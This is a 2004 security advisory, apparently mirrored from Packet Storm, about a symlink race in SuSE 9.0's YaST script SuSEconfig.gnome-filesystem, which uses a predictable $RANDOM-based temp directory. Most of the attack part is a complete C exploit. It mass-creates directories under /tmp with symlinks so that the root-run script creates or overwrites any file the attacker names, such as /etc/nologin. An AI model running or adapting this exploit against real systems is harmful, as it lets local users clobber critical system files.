Lucene search
K

susegnome.txt

🗓️ 14 Jan 2004 00:00:00Reported by l0omType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

Symlink vulnerability in SuSE 9.0 allows normal users to overwrite critical system files.

Code
`  
  
Author: l0om <[email protected]>   
Date: 12.01.2004   
page: www.excluded.org   
  
SuSE 9.0 - YaST script SuSEconfig.gnome-filesystem   
  
There is a symlink problem in the   
SuSEconfig.gnome-filesystem   
scribt. a normal user can creat and overwrite every   
file   
on the system. This script gets executed after a   
configuration change by the   
setup tool YaST. So if you have installed gnome or   
parts of gnome check this out.   
  
  
When this scribt gets executed by YaST after a   
configuration change it does the following:   
  
TEMP=/tmp/tmp.SuSEconfig.gnome-filesystem.$RANDOM   
mkdir $TEMP   
touch $TEMP/list   
[...]   
echo >$TEMP/found   
[...]   
  
the env variable $RANDOM includes a random number.   
in my tests   
this number goes up from 1 to 33000. But also if it   
goes up to   
65535 it is still vul. to a symlink attack. this is   
nearly as   
bad as the symlink problem which has been found on   
SuSE 8.2.   
On 8.2 a SuSEconf scribt has created a link with the   
$$ at the   
file end.   
  
I have used a little exploit written in C which   
creats the   
directory "/tmp/tmp.SuSEconfig.gnome-filesystem.1"   
up to   
33000. in every directory i have created a symlink   
to a file   
which i want to creat or to overwrite. as the   
filename i have   
taken the $TEMP/found and let it point to some file.   
in my test i   
have taken the /etc/nologin- and hey- it has worked!   
  
have phun!   
  
  
*******************************************************************/   
  
#include <stdio.h>   
#include <unistd.h>   
#include <string.h>   
  
#define PATH "/tmp/tmp.SuSEconfig.gnome-filesystem."   
#define START 1   
#define END 33000   
  
int main(int argc, char **argv)   
{   
int i;   
char buf[150];   
  
printf("\tSuSE 9.0 YaST script   
SuSEconfig.gnome-filesystem exploit\n");   
printf("\t-------------------------------------------------------------  
\n");   
printf("\tdiscovered and written by l0om   
<[email protected]>\n");   
printf("\t WWW.EXCLUDED.ORG\n\n");   
  
if(argc != 2) {   
printf("usage: %s <destination-file>\n",argv[0]);   
exit(0xff);   
}   
  
printf("### hit enter to create or overwrite file %  
s: ",argv[1]); fflush(stdout);   
read(1, buf, 1); fflush(stdin);   
  
umask(0000);   
printf("working\n\n");   
for(i = START; i < END; i++) {   
snprintf(buf, sizeof(buf),"%s%d",PATH,i);   
if(mkdir(buf,00777) == -1) {   
fprintf(stderr, "cannot creat directory [Nr.%d]  
\n",i);   
exit(0xff);   
}   
if(!(i%1000))printf(".");   
strcat(buf, "/found");   
if(symlink(argv[1], buf) == -1) {   
fprintf(stderr, "cannot creat symlink from %s to %s   
[Nr.%d]\n",buf,argv[1],i);   
exit(0xff);   
}   
}   
printf("\ndone!\n");   
printf("next time the SuSE.gnome-filesystem script   
gets executed\n");   
printf("we will create or overwrite file %s  
\n",argv[1]);   
return(0x00);   
} /* i cant wait for the new gobbles comic!! */   
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jan 2004 00:00Current
7.4High risk
Vulners AI Score7.4
17